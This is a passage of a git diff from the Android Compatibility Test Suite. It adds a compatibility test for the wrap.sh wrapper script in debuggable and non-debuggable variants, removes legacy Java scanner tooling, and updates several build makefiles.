+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.wrap;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.lang.Override;
+
+/**
+ * A simple no-op activity.
+ */
+public class WrapActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+    }
+
+}
diff --git a/tests/tests/wrap/src/android/wrap/cts/WrapTest.java b/tests/tests/wrap/src/android/wrap/cts/WrapTest.java
new file mode 100644
index 0000000..8b73ad5
--- /dev/null
+++ b/tests/tests/wrap/src/android/wrap/cts/WrapTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.wrap.cts;
+
+import android.content.pm.PackageManager;
+import android.wrap.WrapActivity;
+import android.test.ActivityInstrumentationTestCase2;
+
+/**
+ * A simple compatibility test which tests the SharedPreferences API.
+ *
+ * This test uses {@link android.test.ActivityInstrumentationTestCase2} to instrument the
+ * {@link android.WrapActivity}.
+ */
+public class WrapTest extends ActivityInstrumentationTestCase2<WrapActivity> {
+
+    /**
+     * A reference to the activity whose shared preferences are being tested.
+     */
+    private WrapActivity mActivity;
+
+    public WrapTest() {
+        super(WrapActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // Start the activity.
+        mActivity = getActivity();
+        // Wait for the UI Thread to become idle.
+        getInstrumentation().waitForIdleSync();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Nothing to do here.
+        super.tearDown();
+    }
+
+    /**
+     * Tests the environment for a property.
+     *
+     * This reads the activity meta-data to figure out whether the property is expected, then
+     * check whether the property exists.
+     *
+     * @throws Exception
+     */
+    public void testWrapProperty() throws Exception {
+        boolean expectEnv = mActivity.getPackageManager().getApplicationInfo(
+                mActivity.getPackageName(), PackageManager.GET_META_DATA).metaData.getBoolean(
+                "android.wrap.cts.expext_env");
+
+        String wrapEnvValue = System.getenv("WRAP_PROPERTY");
+        boolean wrapExists = wrapEnvValue != null;
+
+        assertEquals("Unexpected wrap property state", expectEnv, wrapExists);
+
+        if (wrapExists) {
+            assertEquals("Unexpected wrap property value", wrapEnvValue, "test");
+        }
+    }
+}
diff --git a/tests/tests/wrap/wrap.sh b/tests/tests/wrap/wrap.sh
new file mode 100755
index 0000000..58e5f2a
--- /dev/null
+++ b/tests/tests/wrap/wrap.sh
@@ -0,0 +1,15 @@
+#!/system/bin/sh
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+WRAP_PROPERTY=test $@
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
new file mode 100644
index 0000000..4a40cff
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	android-support-test \
+	legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_SDK_VERSION := current
+
+LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_arm64 := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_mips := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_mips64 := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_x86 := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_x86_64 := ../wrap.sh
+
+LOCAL_PACKAGE_NAME := CtsWrapWrapDebugTestCases
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+include $(BUILD_PACKAGE)
+
+include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
new file mode 100644
index 0000000..f371108
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.wrap.wrap_debug.cts">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
+        <activity android:name="android.wrap.WrapActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for wrap.sh"
+        android:targetPackage="android.wrap.wrap_debug.cts" >
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/wrap/wrap_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug/AndroidTest.xml
new file mode 100644
index 0000000..246268b
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Debug Wrap test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsWrapWrapDebugTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.wrap.wrap_debug.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
new file mode 100644
index 0000000..6d8db4b
--- /dev/null
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	android-support-test \
+	legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_SDK_VERSION := current
+
+LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_arm64 := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_mips := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_mips64 := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_x86 := ../wrap.sh
+LOCAL_PREBUILT_JNI_LIBS_x86_64 := ../wrap.sh
+
+LOCAL_PACKAGE_NAME := CtsWrapWrapNoDebugTestCases
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+include $(BUILD_PACKAGE)
+
+include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
new file mode 100644
index 0000000..127e6a8
--- /dev/null
+++ b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.wrap.wrap_nodebug.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
+        <activity android:name="android.wrap.WrapActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for wrap.sh"
+        android:targetPackage="android.wrap.wrap_nodebug.cts" >
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
new file mode 100644
index 0000000..fd18f4c
--- /dev/null
+++ b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Wrap test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsWrapWrapNoDebugTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.wrap.wrap_nodebug.cts" />
+    </test>
+</configuration>
diff --git a/tests/vm-tests-tf/AndroidManifest.xml b/tests/vm-tests-tf/AndroidManifest.xml
deleted file mode 100644
index 2a2f40a..0000000
--- a/tests/vm-tests-tf/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.vm-tests-tf">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.test.InstrumentationCoreTestRunner"
-                     android:targetPackage="android.core.vm-tests-tf"
-                     android:label="cts trade federation vm tests"/>
-
-</manifest>
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index 92c99b1..e9e92f4 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
 
diff --git a/tools/Android.mk b/tools/Android.mk
index 169accf..0a05aed 100644
--- a/tools/Android.mk
+++ b/tools/Android.mk
@@ -12,31 +12,4 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-# Build the CTS harness
-
-JUNIT_HOST_JAR := $(HOST_OUT_JAVA_LIBRARIES)/junit.jar
-HOSTTESTLIB_JAR := $(HOST_OUT_JAVA_LIBRARIES)/hosttestlib.jar
-TF_JAR := $(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar
-CTS_TF_JAR := $(HOST_OUT_JAVA_LIBRARIES)/old-cts-tradefed.jar
-CTS_TF_EXEC_PATH ?= $(HOST_OUT_EXECUTABLES)/old-cts-tradefed
-
-cts_prebuilt_jar := $(HOST_OUT)/old-cts/old-android-cts/tools/cts-prebuilt.jar
-$(cts_prebuilt_jar): PRIVATE_TESTS_DIR := $(HOST_OUT)/old-cts/old-android-cts/repository/testcases
-$(cts_prebuilt_jar): PRIVATE_PLANS_DIR := $(HOST_OUT)/old-cts/old-android-cts/repository/plans
-$(cts_prebuilt_jar): PRIVATE_TOOLS_DIR := $(HOST_OUT)/old-cts/old-android-cts/tools
-$(cts_prebuilt_jar): $(JUNIT_HOST_JAR) $(HOSTTESTLIB_JAR) $(TF_JAR) $(CTS_TF_JAR) $(CTS_TF_EXEC_PATH) $(ADDITIONAL_TF_JARS) | $(ACP) $(HOST_OUT_EXECUTABLES)/adb
-	mkdir -p $(PRIVATE_TESTS_DIR)
-	mkdir -p $(PRIVATE_PLANS_DIR)
-	mkdir -p $(PRIVATE_TOOLS_DIR)
-	$(ACP) -fp $(JUNIT_HOST_JAR) $(HOSTTESTLIB_JAR) $(TF_JAR) $(CTS_TF_JAR) $(CTS_TF_EXEC_PATH) $(ADDITIONAL_TF_JARS) $(PRIVATE_TOOLS_DIR)
-
-.PHONY: cts-harness
-cts-harness : $(cts_prebuilt_jar)
-
-# Put the test coverage report in the dist dir if "old-cts" is among the build goals.
-ifneq ($(filter old-cts, $(MAKECMDGOALS)),)
-  $(call dist-for-goals,old-cts,$(CTS_TF_JAR))
-  $(call dist-for-goals,old-cts,$(HOSTTESTLIB_JAR))
-endif
-
 include $(call all-subdir-makefiles)
diff --git a/tools/cfassembler/Android.mk b/tools/cfassembler/Android.mk
index 8e0f351..df736ed 100644
--- a/tools/cfassembler/Android.mk
+++ b/tools/cfassembler/Android.mk
@@ -22,14 +22,9 @@
 LOCAL_IS_HOST_MODULE := true
 LOCAL_MODULE_CLASS := EXECUTABLES
 LOCAL_MODULE := cfassembler
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE): $(HOST_OUT_JAVA_LIBRARIES)/cfassembler$(COMMON_JAVA_PACKAGE_SUFFIX)
-$(LOCAL_BUILT_MODULE): $(LOCAL_PATH)/etc/cfassembler | $(ACP)
-	@echo "Copy: $(PRIVATE_MODULE) ($@)"
-	$(copy-file-to-new-target)
-	$(hide) chmod 755 $@
+LOCAL_SRC_FILES := etc/cfassembler
+LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/cfassembler$(COMMON_JAVA_PACKAGE_SUFFIX)
+include $(BUILD_PREBUILT)
 
 INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
 
diff --git a/tools/cts-api-coverage/Android.mk b/tools/cts-api-coverage/Android.mk
index 2382d61..3f66961 100644
--- a/tools/cts-api-coverage/Android.mk
+++ b/tools/cts-api-coverage/Android.mk
@@ -14,25 +14,15 @@
 
 LOCAL_PATH := $(call my-dir)
 
-# We use copy-file-to-new-target so that the installed
-# script file's timestamp is at least as new as the
-# .jar file it wraps.
-
 # the hat script
 # ============================================================
 include $(CLEAR_VARS)
 LOCAL_IS_HOST_MODULE := true
 LOCAL_MODULE_CLASS := EXECUTABLES
 LOCAL_MODULE := cts-api-coverage
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE): $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
-$(LOCAL_BUILT_MODULE): $(LOCAL_PATH)/etc/$(LOCAL_MODULE) | $(ACP)
-	@echo "Copy: $(PRIVATE_MODULE) ($@)"
-	$(copy-file-to-new-target)
-	$(hide) chmod 755 $@
+LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
+LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
+include $(BUILD_PREBUILT)
 
 # the other stuff
 # ============================================================
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index 2b57c76..fb82c95 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -19,8 +19,7 @@
 import com.android.compatibility.common.util.CddTest;
 
 import org.jf.dexlib2.DexFileFactory;
-import org.jf.dexlib2.DexFileFactory.DexFileNotFound;
-import org.jf.dexlib2.DexFileFactory.MultipleDexFilesException;
+import org.jf.dexlib2.DexFileFactory.DexFileNotFoundException;
 import org.jf.dexlib2.Opcodes;
 import org.jf.dexlib2.iface.Annotation;
 import org.jf.dexlib2.iface.AnnotationElement;
@@ -264,9 +263,8 @@
 
         DexFile dexFile = null;
         try {
-            dexFile = DexFileFactory.loadDexFile(
-                testSource, null /*dexEntry*/, Opcodes.forApi(api));
-        } catch (IOException | DexFileFactory.DexFileNotFound e) {
+            dexFile = DexFileFactory.loadDexFile(testSource, Opcodes.forApi(api));
+        } catch (IOException | DexFileFactory.DexFileNotFoundException e) {
             System.err.println("Unable to load dex file: " + testSource.getPath());
             return;
         }
diff --git a/tools/cts-device-info/jni/Android.mk b/tools/cts-device-info/jni/Android.mk
index eda845c..30bde53 100644
--- a/tools/cts-device-info/jni/Android.mk
+++ b/tools/cts-device-info/jni/Android.mk
@@ -24,11 +24,7 @@
 	CtsDeviceInfoJniOnLoad.cpp \
 	com_android_cts_deviceinfo_VulkanDeviceInfo.cpp
 
-LOCAL_C_INCLUDES := \
-	$(JNI_H_INCLUDE) \
-	external/vulkan-validation-layers/libs/vkjson
-
-LOCAL_STATIC_LIBRARIES := libvkjson
+LOCAL_STATIC_LIBRARIES := libvkjson_ndk
 LOCAL_SHARED_LIBRARIES := libvulkan liblog libdl
 LOCAL_NDK_STL_VARIANT := c++_static
 
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
index 2affc5e..43b346d 100644
--- a/tools/cts-holo-generation/Android.mk
+++ b/tools/cts-holo-generation/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tools/cts-java-scanner-doclet/Android.mk b/tools/cts-java-scanner-doclet/Android.mk
deleted file mode 100644
index d647537..0000000
--- a/tools/cts-java-scanner-doclet/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-java-scanner-doclet
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
-LOCAL_JAVA_LIBRARIES := junit
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-java-scanner-doclet/src/com/android/cts/javascannerdoclet/CtsJavaScannerDoclet.java b/tools/cts-java-scanner-doclet/src/com/android/cts/javascannerdoclet/CtsJavaScannerDoclet.java
deleted file mode 100644
index 9982777..0000000
--- a/tools/cts-java-scanner-doclet/src/com/android/cts/javascannerdoclet/CtsJavaScannerDoclet.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.javascannerdoclet;
-
-import java.io.BufferedWriter;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.FileWriter;
-import java.io.IOException;
-import java.io.OutputStream;
-import java.io.PrintWriter;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Iterator;
-
-import javax.xml.parsers.DocumentBuilderFactory;
-import javax.xml.parsers.ParserConfigurationException;
-import javax.xml.transform.Transformer;
-import javax.xml.transform.TransformerException;
-import javax.xml.transform.TransformerFactory;
-import javax.xml.transform.TransformerFactoryConfigurationError;
-import javax.xml.transform.dom.DOMSource;
-import javax.xml.transform.stream.StreamResult;
-
-import org.w3c.dom.Attr;
-import org.w3c.dom.Document;
-import org.w3c.dom.Node;
-import org.w3c.dom.NodeList;
-
-import com.sun.javadoc.AnnotationDesc;
-import com.sun.javadoc.AnnotationTypeDoc;
-import com.sun.javadoc.AnnotationValue;
-import com.sun.javadoc.ClassDoc;
-import com.sun.javadoc.Doclet;
-import com.sun.javadoc.MethodDoc;
-import com.sun.javadoc.RootDoc;
-import com.sun.javadoc.AnnotationDesc.ElementValuePair;
-import com.sun.javadoc.AnnotationTypeElementDoc;
-
-/**
- * Doclet that outputs in the following format:
- *
- * suite:android.holo.cts
- * case:HoloTest
- * test:testHolo
- * test:testHoloDialog
- */
-public class CtsJavaScannerDoclet extends Doclet {
-
-    private static final String JUNIT4_TEST_ANNOTATION = "org.junit.Test";
-
-    static final String JUNIT_TEST_CASE_CLASS_NAME = "junit.framework.testcase";
-    private static final String SUPPRESS_ANNOTATION =
-            "android.test.suitebuilder.annotation.Suppress";
-
-    public static boolean start(RootDoc root) {
-        ClassDoc[] classes = root.classes();
-        if (classes == null) {
-            return false;
-        }
-
-        PrintWriter writer = new PrintWriter(System.out);
-
-        for (ClassDoc clazz : classes) {
-            if (clazz.isAbstract()) {
-                continue;
-            }
-
-            final boolean isJUnit3 = isJUnit3TestCase(clazz);
-            if (!isJUnit3 && !isJUnit4TestClass(clazz)) {
-                continue;
-            }
-
-            writer.append("suite:").println(clazz.containingPackage().name());
-            writer.append("case:").println(clazz.name());
-            for (; clazz != null; clazz = clazz.superclass()) {
-                for (MethodDoc method : clazz.methods()) {
-                    int timeout = -1;
-                    if (isJUnit3) {
-                        if (!method.name().startsWith("test")) {
-                            continue;
-                        }
-
-                        boolean suppressed = false;
-                        AnnotationDesc[] annotations = method.annotations();
-                        for (AnnotationDesc annot : annotations) {
-                            String atype = annot.annotationType().toString();
-                            if (atype.equals(SUPPRESS_ANNOTATION)) {
-                                suppressed = true;
-                            }
-                        }
-                        if (suppressed) {
-                            continue;
-                        }
-                    } else {
-                        /* JUnit4 */
-                        boolean isTest = false;
-
-                        for (AnnotationDesc annot : method.annotations()) {
-                            if (annot.annotationType().toString().equals(JUNIT4_TEST_ANNOTATION)) {
-                                isTest = true;
-
-                                for (ElementValuePair pair : annot.elementValues()) {
-                                    if (pair.element().name().equals("timeout")) {
-                                        /* JUnit4 timeouts are in milliseconds. */
-                                        timeout = (int) (((Long) pair.value().value()) / 60000L);
-                                    }
-                                }
-                            }
-                        }
-
-                        if (!isTest) {
-                            continue;
-                        }
-                    }
-
-                    writer.append("test:");
-                    if (timeout >= 0) {
-                        writer.append(method.name()).println(":" + timeout);
-                    } else {
-                        writer.println(method.name());
-                    }
-                }
-            }
-        }
-
-        writer.close();
-        return true;
-    }
-
-    private static boolean isJUnit3TestCase(ClassDoc clazz) {
-        while((clazz = clazz.superclass()) != null) {
-            if (JUNIT_TEST_CASE_CLASS_NAME.equals(clazz.qualifiedName().toLowerCase())) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private static boolean isJUnit4TestClass(ClassDoc clazz) {
-        for (MethodDoc method : clazz.methods()) {
-            for (AnnotationDesc annot : method.annotations()) {
-                if (annot.annotationType().toString().equals(JUNIT4_TEST_ANNOTATION)) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-}
diff --git a/tools/cts-java-scanner/Android.mk b/tools/cts-java-scanner/Android.mk
deleted file mode 100644
index 8b6c906..0000000
--- a/tools/cts-java-scanner/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# We use copy-file-to-new-target so that the installed
-# script file's timestamp is at least as new as the
-# .jar file it wraps.
-
-# the hat script
-# ============================================================
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := cts-java-scanner
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE): $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
-$(LOCAL_BUILT_MODULE): $(LOCAL_PATH)/etc/$(LOCAL_MODULE) | $(ACP)
-	@echo "Copy: $(PRIVATE_MODULE) ($@)"
-	$(copy-file-to-new-target)
-	$(hide) chmod 755 $@
-
-# the other stuff
-# ============================================================
-subdirs := $(addprefix $(LOCAL_PATH)/,$(addsuffix /Android.mk, \
-		src \
-	))
-
-include $(subdirs)
diff --git a/tools/cts-java-scanner/etc/cts-java-scanner b/tools/cts-java-scanner/etc/cts-java-scanner
deleted file mode 100644
index 378eee8..0000000
--- a/tools/cts-java-scanner/etc/cts-java-scanner
+++ /dev/null
@@ -1,46 +0,0 @@
